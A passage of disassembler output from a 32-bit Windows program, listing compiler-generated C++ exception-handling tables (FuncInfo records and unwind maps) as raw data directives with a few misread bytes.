		dd 0FFFFFFFFh, 43A320h,	0FFFFFFFFh, 43A328h, 3,	43A330h
		dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0)
dword_4407F0	dd 19930520h, 24h, 440810h, 5 dup(0)		dd 0FFFFFFFFh, 43A370h,	0
		dd offset loc_43A378
		dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h
		dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah
		dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h,	0Dh, 43A425h, 0Eh
		dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh,	11h, 43A45Dh, 11h
		dd 43A465h, 11h, 43A46Dh, 11h, 43A475h,	11h, 43A47Dh, 11h
		dd 43A485h, 11h, 43A48Dh, 11h, 43A495h,	11h, 43A49Dh, 11h
		dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h,	11h, 43A4BDh, 11h
		dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h,	11h, 43A4DDh, 11h
		dd 43A4E5h, 8 dup(0)
dword_440950	dd 19930520h, 11h, 440970h, 5 dup(0)		dd 0FFFFFFFFh, 43A560h,	0
		dd offset loc_43A568
		dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h
		dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah
		dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h,	0Dh, 43A615h, 0Eh
		dd 43A623h, 0Fh, 43A631h, 4 dup(0)
dword_440A08	dd 19930520h, 38h, 440A28h, 5 dup(0)		dd 0FFFFFFFFh, 43A690h,	0
		dd offset loc_43A69B
		dd 1, 43A6A6h, 0
		dd offset loc_43A6B1
		dd 0
		dd offset loc_43A6BC
		dd 0
		dd offset loc_43A6C7
		dd 0
		dd offset loc_43A6D2
		dd 0
		dd offset loc_43A6DD
		dd 0
		dd offset loc_43A6E8
		dd 0
		dd offset loc_43A6F3
		dd 9, 43A6FEh, 0
		dd offset loc_43A709
		dd 0
		dd offset loc_43A714
		dd 0
		dd offset loc_43A71F
		dd 0
		dd offset loc_43A72A
		dd 0Eh,	43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch
		dd 0Eh,	43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh
		dd 0
		dd offset loc_43A799
		dd 0
		dd offset loc_43A7A4
		dd 0
		dd offset loc_43A7B2
		dd 0
		dd offset loc_43A7C0
		dd 1Ah,	43A7CBh, 1Bh, 43A7D6h, 0
		dd offset loc_43A7E1
		dd 1Dh,	43A7ECh, 0
		dd offset loc_43A7F7
		dd 1Fh,	43A802h, 0
		dd offset loc_43A80D
		dd 0
		dd offset loc_43A818
		dd 0
		dd offset loc_43A823
		dd 0
		dd offset loc_43A82E
		dd 0
		dd offset loc_43A839
		dd 25h,	43A844h, 26h, 43A84Fh, 0
		dd offset loc_43A84F
		dd 28h,	43A844h, 0
		dd offset loc_43A85A
		dd 0
		dd offset loc_43A865
		dd 2Bh,	43A870h, 2Ch, 43A87Bh, 0
		dd offset loc_43A87B
		dd 2Eh,	43A870h, 2Eh, 43A886h, 0
		dd offset loc_43A891
		dd 31h,	43A89Ch, 0
		dd offset loc_43A8A7
		dd 0
		dd offset loc_43A8B2
		dd 34h,	43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0)
dword_440C18	dd 19930520h, 1, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A970h,	2 dup(0)
dword_440C48	dd 19930520h, 1, 440C68h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	2 dup(0)
dword_440C78	dd 19930520h, 6, 440C98h, 5 dup(0)		dd 0FFFFFFFFh, 43A9B0h,	0
		dd offset loc_43A9B8
		dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0)
dword_440CD0	dd 19930520h, 6, 440CF0h, 5 dup(0)		dd 0FFFFFFFFh, 43AA10h,	0
		dd offset loc_43AA18
		dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0)
dword_440D28	dd 19930520h, 0Ah, 440D48h, 5 dup(0)		dd 0FFFFFFFFh, 43AA70h,	0FFFFFFFFh, 43AA78h, 0FFFFFFFFh
		dd 43AA80h, 0FFFFFFFFh,	43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh
		dd 43AA98h, 0FFFFFFFFh,	43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh
		dd 43AAB0h, 0FFFFFFFFh,	43AAB8h, 4 dup(0)
dword_440DA8	dd 19930520h, 0Eh, 440DC8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAE0h,	0
		dd offset loc_43AAE8
		dd 0FFFFFFFFh, 43AAF3h,	0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh
		dd 43AB03h, 0FFFFFFFFh,	43AB0Bh, 5, 43AB16h, 0FFFFFFFFh
		dd 43AB1Eh, 0FFFFFFFFh,	43AB26h, 0FFFFFFFFh, 43AB2Eh, 9
		dd 43AB39h, 0FFFFFFFFh,	43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h
		dd 4 dup(0)
dword_440E48	dd 19930520h, 2, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB98h,	0
		dd offset loc_43AB90
		align 10h
dword_440E80	dd 19930520h, 2, 440EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABD0h,	0
		dd offset loc_43ABD8
		dd 2 dup(0)
dword_440EB8	dd 19930520h, 1, 440ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43ABF0h,	2 dup(0)
dword_440EE8	dd 19930520h, 7, 440F08h, 5 dup(0)		dd 0FFFFFFFFh, 43AC10h,	0
		dd offset loc_43AC18
		dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h
		dd 2 dup(0)
dword_440F48	dd 19930520h, 4, 440F68h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	0
		dd offset loc_43AC7B
		dd 1, 43AC86h, 2, 43AC91h, 2 dup(0)
dword_440F90	dd 19930520h, 4, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 43h, 0
		dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0)
dword_440FD8	dd 19930520h, 2, 440FF8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD10h,	0FFFFFFFFh, 43AD18h, 2 dup(0)
dword_441010	dd 19930520h, 1, 441030h, 5 dup(0)		dd 0FFFFFFFFh, 43AD30h,	2 dup(0)
dword_441040	dd 19930520h, 1, 441060h, 5 dup(0)		dd 0FFFFFFFFh, 43AD50h,	2 dup(0)
dword_441070	dd 19930520h, 2, 441090h, 5 dup(0)		dd 0FFFFFFFFh, 43AD70h,	0
		dd offset loc_43AD78
		dd 2 dup(0)
dword_4410A8	dd 19930520h, 3, 4410C8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0
		dd offset loc_43AD98
		dd 1, 43ADA3h, 2 dup(0)
dword_4410E8	dd 19930520h, 3, 441108h, 5 dup(0)		dd 0FFFFFFFFh, 43ADD0h,	0
		dd offset loc_43ADD8
		dd 1, 43ADE0h, 2 dup(0)
dword_441128	dd 19930520h, 1, 441148h, 5 dup(0)		dd 0FFFFFFFFh, 43AE00h,	2 dup(0)
dword_441158	dd 19930520h, 4, 441178h, 5 dup(0)		dd 0FFFFFFFFh, 43AE20h,	0
		dd offset loc_43AE28
		dd 0
		dd offset loc_43AE30
		dd 0
		dd offset loc_43AE3B
		align 10h
dword_4411A0	dd 19930520h, 6, 4411C0h, 5 dup(0)		dd 0FFFFFFFFh, 43AE60h,	0
		dd offset loc_43AE68
		dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0)
dword_4411F8	dd 19930520h, 3, 441218h, 5 dup(0)		dd 0FFFFFFFFh, 43AEB0h,	0
		dd offset loc_43AEBB
		dd 1, 43AEC6h, 2 dup(0)
dword_441238	dd 19930520h, 4, 441258h, 5 dup(0)		dd 0FFFFFFFFh, 43AEF0h,	0
		dd offset loc_43AEF8
		dd 1, 43AF00h, 2, 43AF08h, 2 dup(0)
dword_441280	dd 19930520h, 5, 4412A0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF30h,	0
		dd offset loc_43AF38
		dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0)
dword_4412D0	dd 19930520h, 4, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF80h,	0
		dd offset loc_43AF88
		dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0)
dword_441318	dd 19930520h, 3, 441338h, 5 dup(0)		dd 0FFFFFFFFh, 43AFC0h,	0
		dd offset loc_43AFC8
		dd 1, 43AFD0h, 2 dup(0)
dword_441358	dd 19930520h, 1, 441378h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	2 dup(0)
dword_441388	dd 19930520h, 2, 4413A8h, 5 dup(0)		dd 0FFFFFFFFh, 43B010h,	0
		dd offset loc_43B018
		align 10h
dword_4413C0	dd 19930520h, 2, 4413E0h, 5 dup(0)		dd 0FFFFFFFFh, 43B030h,	0
		dd offset loc_43B038
		dd 2 dup(0)
dword_4413F8	dd 19930520h, 3, 441418h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B05B
		dd 1, 43B066h, 2 dup(0)
dword_441438	dd 19930520h, 1, 441458h, 5 dup(0)		dd 0FFFFFFFFh, 43B090h,	2 dup(0)
dword_441468	dd 19930520h, 1, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	2 dup(0)
dword_441498	dd 19930520h, 4, 4414B8h, 5 dup(0)		dd 0FFFFFFFFh, 43B0D0h,	0
		dd offset loc_43B0D8
		dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0)
dword_4414E0	dd 19930520h, 7, 441500h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2, 43B128h,	3, 43B130h, 4, 43B138h,	0FFFFFFFFh
		dd 43B140h, 2 dup(0)
dword_441540	dd 19930520h, 1Bh, 441560h, 5 dup(0)		dd 0FFFFFFFFh, 43B170h,	0
		dd offset loc_43B178
		dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh
		dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah
		dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh,	0Dh, 43B22Bh, 0Eh
		dd 43B239h, 0Fh, 43B247h, 10h, 43B255h,	11h, 43B263h, 12h
		dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh,	15h, 43B29Bh, 16h
		dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h,	19h, 43B2D3h, 6	dup(0)
dword_441650	dd 19930520h, 1Bh, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B350h,	0
		dd offset loc_43B358
		dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh
		dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah
		dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh,	0Dh, 43B40Bh, 0Eh
		dd 43B419h, 0Fh, 43B427h, 10h, 43B435h,	11h, 43B443h, 12h
		dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh,	15h, 43B47Bh, 16h
		dd 43B489h, 17h, 43B497h, 18h, 43B4A5h,	19h, 43B4B3h, 6	dup(0)
dword_441760	dd 19930520h, 1, 441780h, 5 dup(0)		dd 0FFFFFFFFh, 43B530h,	2 dup(0)
dword_441790	dd 19930520h, 3Dh, 4417B0h, 5 dup(0)		dd 0FFFFFFFFh, 43B550h,	0
		dd offset loc_43B55B
		dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh
		dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah
		dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h,	0Dh, 43B60Eh, 0Eh
		dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h,	11h, 43B646h, 12h
		dd 43B654h, 13h, 43B662h, 14h, 43B670h,	15h, 43B67Eh, 16h
		dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h,	19h, 43B6B6h, 1Ah
		dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h,	1Dh, 43B6EEh, 1Eh
		dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h,	21h, 43B726h, 22h
		dd 43B734h, 23h, 43B742h, 24h, 43B750h,	25h, 43B75Eh, 26h
		dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h,	29h, 43B796h, 2Ah
		dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h,	2Dh, 43B7CEh, 2Eh
		dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h,	31h, 43B806h, 32h
		dd 43B814h, 33h, 43B822h, 34h, 43B830h,	35h, 43B83Eh, 36h
		dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h,	39h, 43B876h, 3Ah
		dd 43B884h, 3Bh, 43B892h, 0Eh dup(0)
dword_4419D0	dd 19930520h, 4, 4419F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B980h,	0
		dd offset loc_43B98B
		dd 1, 43B996h, 2, 43B9A1h, 2 dup(0)
dword_441A18	dd 19930520h, 6, 441A38h, 5 dup(0)		dd 0FFFFFFFFh, 43B9D0h,	0
		dd offset loc_43B9DB
		dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0)
dword_441A70	dd 19930520h, 4, 441A90h, 5 dup(0)		dd 0FFFFFFFFh, 43BA40h,	0
		dd offset loc_43BA4E
		dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0)
dword_441AB8	dd 19930520h, 5, 441AD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BAA0h,	0
		dd offset loc_43BAAB
		dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0)
dword_441B08	dd 19930520h, 5, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	0
		dd offset loc_43BB0B
		dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0)
dword_441B58	dd 19930520h, 1, 441B78h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441B88	dd 19930520h, 1, 441BA8h, 5 dup(0)		dd 0FFFFFFFFh, 43BB80h,	2 dup(0)
dword_441BB8	dd 19930520h, 1, 441BD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	2 dup(0)
dword_441BE8	dd 19930520h, 2, 441C08h, 5 dup(0)		dd 0FFFFFFFFh, 43BBC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BBh, 43h, 0
		align 10h
dword_441C20	dd 19930520h, 4, 441C40h, 5 dup(0)		dd 0FFFFFFFFh, 43BBF0h,	0
		dd offset loc_43BBFB
		dd 1, 43BC06h, 2, 43BC11h, 2 dup(0)
dword_441C68	dd 19930520h, 4, 441C88h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	0
		dd offset loc_43BC4B
		dd 1, 43BC56h, 2, 43BC61h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC90h,	0
		dd offset loc_43BC9B
		dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0)
dword_441D08	dd 19930520h, 4, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43BD00h,	0
		dd offset loc_43BD0E
		dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0)
dword_441D50	dd 19930520h, 5, 441D70h, 5 dup(0)		dd 0FFFFFFFFh, 43BD60h,	0
		dd offset loc_43BD6B
		dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0)
dword_441DA0	dd 19930520h, 5, 441DC0h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BDh, 43h, 0
		dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0)
dword_441DF0	dd 19930520h, 1, 441E10h, 5 dup(0)		dd 0FFFFFFFFh, 43BE20h,	2 dup(0)
dword_441E20	dd 19930520h, 1, 441E40h, 5 dup(0)		dd 0FFFFFFFFh, 43BE40h,	2 dup(0)
dword_441E50	dd 19930520h, 1, 441E70h, 5 dup(0)		dd 0FFFFFFFFh, 43BE60h,	2 dup(0)
dword_441E80	dd 19930520h, 2, 441EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE80h,	0
		dd offset loc_43BE8B
		dd 2 dup(0)
dword_441EB8	dd 19930520h, 4, 441ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43BEB0h,	0
		dd offset loc_43BEBB
		dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0)
dword_441F00	dd 19930520h, 1, 441F20h, 5 dup(0)		dd 0FFFFFFFFh, 43BF00h,	2 dup(0)
dword_441F30	dd 19930520h, 2, 441F50h, 5 dup(0)		dd 0FFFFFFFFh, 43BF20h,	0
		dd offset loc_43BF2B
		dd 2 dup(0)
dword_441F68	dd 19930520h, 1, 441F88h, 5 dup(0)		dd 0FFFFFFFFh, 43BF50h,	2 dup(0)
dword_441F98	dd 19930520h, 1, 441FB8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF70h,	2 dup(0)
dword_441FC8	dd 19930520h, 2, 441FE8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF90h,	0
		dd offset loc_43BF9B
		align 10h
dword_442000	dd 19930520h, 1, 442020h, 5 dup(0)		dd 0FFFFFFFFh, 43BFC0h,	2 dup(0)
dword_442030	dd 19930520h, 3, 442050h, 5 dup(0)		dd 0FFFFFFFFh, 43BFE0h,	0
		dd offset loc_43BFF7
		dd 1, 43BFFFh, 2 dup(0)
dword_442070	dd 19930520h, 1, 442090h, 5 dup(0)		dd 0FFFFFFFFh, 43C020h,	2 dup(0)
dword_4420A0	dd 19930520h, 4, 4420C0h, 5 dup(0)		dd 0FFFFFFFFh, 43C048h,	0
		dd offset sub_43C040
		dd 0
		dd offset loc_43C05F
		dd 2, 43C067h, 2 dup(0)
dword_4420E8	dd 19930520h, 6, 442108h, 5 dup(0)		dd 0FFFFFFFFh, 43C090h,	0FFFFFFFFh, 43C098h, 0FFFFFFFFh
		dd 43C0A0h, 0FFFFFFFFh,	43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh
		dd 43C0B8h, 2 dup(0)
dword_442140	dd 19930520h, 1Ah, 442160h, 5 dup(0)		dd 0FFFFFFFFh, 43C0E0h,	0
		dd offset loc_43C0EB
		dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh
		dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h
		dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h
		dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h
		dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0)
dword_442248	dd 19930520h, 4, 442268h, 5 dup(0)		dd 0FFFFFFFFh, 43C270h,	0
		dd offset loc_43C278
		dd 1, 43C283h, 2, 43C28Eh, 2 dup(0)
dword_442290	dd 19930520h, 4, 4422B0h, 5 dup(0)		dd 0FFFFFFFFh, 43C2B0h,	0
		dd offset loc_43C2B8
		dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0)
dword_4422D8	dd 19930520h, 6, 4422F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C2F0h,	0
; ---------------------------------------------------------------------------
		clc
		retn	43h
; ---------------------------------------------------------------------------
		dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0)
dword_442330	dd 19930520h, 6, 442350h, 5 dup(0)		dd 0FFFFFFFFh, 43C350h,	0
; ---------------------------------------------------------------------------
		pop	eax
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0)
dword_442388	dd 19930520h, 6, 4423A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C3B0h,	0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh
		dd 43C3C6h, 2, 43C3D1h,	3, 43C3DCh, 2, 43C3E7h,	2 dup(0)
dword_4423E0	dd 19930520h, 3, 442400h, 5 dup(0)		dd 0FFFFFFFFh, 43C410h,	0FFFFFFFFh, 43C418h, 0FFFFFFFFh
		dd 43C420h, 2 dup(0)
dword_442420	dd 19930520h, 5, 442440h, 5 dup(0)		dd 0FFFFFFFFh, 43C440h,	0FFFFFFFFh, 43C448h, 0FFFFFFFFh
		dd 43C450h, 0FFFFFFFFh,	43C458h, 0FFFFFFFFh, 43C460h, 2	dup(0)
dword_442470	dd 19930520h, 0Ch, 442490h, 5 dup(0)		dd 0FFFFFFFFh, 43C480h,	0
		dd offset loc_43C488
		dd 0FFFFFFFFh, 43C490h,	0FFFFFFFFh, 43C498h, 0FFFFFFFFh
		dd 43C4A0h, 0FFFFFFFFh,	43C4A8h, 5, 43C4B0h, 0FFFFFFFFh
		dd 43C4B8h, 0FFFFFFFFh,	43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh
		dd 43C4D0h, 0FFFFFFFFh,	43C4D8h, 4 dup(0)
		dd 19930520h, 2, 442520h, 1, 442530h, 3	dup(0)
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442548h, 4	dup(0)
		dd offset loc_41EF2C
		align 10h
dword_442560	dd 19930520h, 0Ah, 442580h, 5 dup(0)		dd 0FFFFFFFFh, 43C520h,	0
		dd offset loc_43C52B
		dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h
		dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0)
dword_4425E0	dd 19930520h, 2, 442600h, 5 dup(0)		dd 0FFFFFFFFh, 43C5C0h,	0
		dd offset loc_43C5C8
		dd 2 dup(0)
dword_442618	dd 19930520h, 3, 442638h, 5 dup(0)		dd 0FFFFFFFFh, 43C5E0h,	0FFFFFFFFh, 43C5EBh, 1,	43C5F6h
		dd 2 dup(0)
dword_442658	dd 19930520h, 1, 442678h, 5 dup(0)		dd 0FFFFFFFFh, 43C620h,	2 dup(0)
dword_442688	dd 19930520h, 2, 4426A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C640h,	0
		dd offset loc_43C64B
		align 10h
dword_4426C0	dd 19930520h, 16h, 4426E0h, 5 dup(0)		dd 0FFFFFFFFh, 43C670h,	0
		dd offset loc_43C67B
		dd 0
		dd offset loc_43C683
		dd 0
		dd offset loc_43C68B
		dd 3, 43C693h, 4, 43C69Bh, 0
		dd offset loc_43C6A3
		dd 6, 43C6ABh, 7, 43C6B3h, 0
		dd offset loc_43C6BB
		dd 9, 43C6C3h, 0Ah, 43C6CBh, 0
		dd offset loc_43C6D3
		dd 0Ch,	43C6DBh, 0Dh, 43C6E3h, 0
		dd offset loc_43C6EB
		dd 0Fh,	43C6F3h, 0
		dd offset loc_43C6FB
		dd 11h,	43C703h, 0
		dd offset loc_43C70B
		dd 13h,	43C713h, 13h, 43C71Bh, 6 dup(0)
dword_4427A8	dd 19930520h, 1, 4427C8h, 5 dup(0)		dd 0FFFFFFFFh, 43C760h,	2 dup(0)
dword_4427D8	dd 19930520h, 1, 4427F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C790h,	2 dup(0)
dword_442808	dd 19930520h, 5, 442828h, 5 dup(0)		dd 0FFFFFFFFh, 43C7C0h,	0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh
		dd 43C7D0h, 0FFFFFFFFh,	43C7D8h, 0FFFFFFFFh, 43C7E0h, 2	dup(0)
dword_442858	dd 19930520h, 0Bh, 442878h, 5 dup(0)		dd 0FFFFFFFFh, 43C800h,	0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh
		dd 43C821h, 0FFFFFFFFh,	43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh
		dd 43C842h, 0FFFFFFFFh,	43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh
		dd 43C863h, 0FFFFFFFFh,	43C86Eh, 0FFFFFFFFh, 43C816h, 4	dup(0)
dword_4428E0	dd 19930520h, 1, 442900h, 5 dup(0)		dd 0FFFFFFFFh, 43C8B0h,	2 dup(0)
dword_442910	dd 19930520h, 5, 442930h, 5 dup(0)		dd 0FFFFFFFFh, 43C8D0h,	0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh
		dd 43C8E0h, 0FFFFFFFFh,	43C8E8h, 0FFFFFFFFh, 43C8F0h, 2	dup(0)
dword_442960	dd 19930520h, 15h, 442980h, 5 dup(0)		dd 0FFFFFFFFh, 43C910h,	0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh
		dd 43C923h, 0FFFFFFFFh,	43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh
		dd 43C93Bh, 0FFFFFFFFh,	43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh
		dd 43C956h, 0FFFFFFFFh,	43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh
		dd 43C971h, 0FFFFFFFFh,	43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh
		dd 43C989h, 0FFFFFFFFh,	43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh
		dd 43C9A4h, 0FFFFFFFFh,	43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh
		dd 43C9BCh, 6 dup(0)
dword_442A40	dd 19930520h, 1, 442A60h, 5 dup(0)		dd 0FFFFFFFFh, 43CA00h,	2 dup(0)
dword_442A70	dd 19930520h, 5, 442A90h, 5 dup(0)		dd 0FFFFFFFFh, 43CA20h,	0
		dd offset loc_43CA28
		dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0)
dword_442AC0	dd 19930520h, 5, 442AE0h, 5 dup(0)		dd 0FFFFFFFFh, 43CA70h,	0
		dd offset loc_43CA78
		dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0)
dword_442B10	dd 19930520h, 1, 442B30h, 5 dup(0)		dd 0FFFFFFFFh, 43CAC0h,	2 dup(0)
dword_442B40	dd 19930520h, 1, 442B60h, 5 dup(0)		dd 0FFFFFFFFh, 43CAE0h,	2 dup(0)
dword_442B70	dd 19930520h, 1, 442B90h, 5 dup(0)		dd 0FFFFFFFFh, 43CB00h,	2 dup(0)
dword_442BA0	dd 19930520h, 1, 442BC0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB20h,	2 dup(0)
dword_442BD0	dd 19930520h, 1, 442BF0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB40h,	2 dup(0)
dword_442C00	dd 19930520h, 1, 442C20h, 5 dup(0)		dd 0FFFFFFFFh, 43CB60h,	2 dup(0)
dword_442C30	dd 19930520h, 1, 442C50h, 5 dup(0)		dd 0FFFFFFFFh, 43CB80h,	2 dup(0)
dword_442C60	dd 19930520h, 1, 442C80h, 5 dup(0)		dd 0FFFFFFFFh, 43CBA0h,	2 dup(0)
dword_442C90	dd 19930520h, 6, 442CB0h, 5 dup(0)		dd 0FFFFFFFFh, 43CBC0h,	0
		dd offset loc_43CBC8
		dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0)
dword_442CE8	dd 19930520h, 6, 442D08h, 5 dup(0)		dd 0FFFFFFFFh, 43CC20h,	0
		dd offset loc_43CC28
		dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0)
dword_442D40	dd 19930520h, 3, 442D60h, 5 dup(0)		dd 0FFFFFFFFh, 43CC80h,	0
		dd offset loc_43CC88
		dd 1, 43CC96h, 2 dup(0)
dword_442D80	dd 19930520h, 16h, 442DA0h, 5 dup(0)		dd 0FFFFFFFFh, 43CCC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 2
		dw 43h
		dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h
		dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah
		dd 43CD39h, 2, 43CD44h,	0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh
		dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh,	0Fh, 43CD86h, 0Fh
		dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h,	6 dup(0)
